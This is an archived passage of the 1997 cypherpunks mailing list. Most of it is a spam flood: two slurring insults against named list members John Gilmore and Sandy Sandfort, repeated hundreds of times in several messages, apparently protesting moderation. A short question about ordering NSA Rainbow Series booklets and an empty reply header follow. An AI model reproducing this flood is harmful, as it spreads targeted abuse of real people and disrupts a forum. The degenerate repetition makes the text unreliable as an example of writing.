Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771026.522020.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:32:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770942.521285.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@edm.net>
Date: Wed, 12 Feb 1997 18:07:37 -0800 (PST)
To: "Moroni" <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130207.SAA13999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        1-800-688-6115 press 0 or just wait for the operator. My second
> order consisting of posters and video has not arrived either. It has been
> about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> you order the Rainbow series you will be getting a large box.Their are
> something like 30+ booklets in the series.
>         There is a set of security posters  that include a Santa
> poster.And there is also a video with two films on it (Acess Ins and outs
> adb Acess Control).

How much does all this stuff from the NSA cost?

Tobin Fricke
(please reply privately, tobin@mail.edm.net)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 15:14:13 -0800 (PST)
To: "Jonathan M. Bresler" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <199702122057.MAA04595@toad.com>
Message-ID: <v030078efaf27fd6d6b48@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


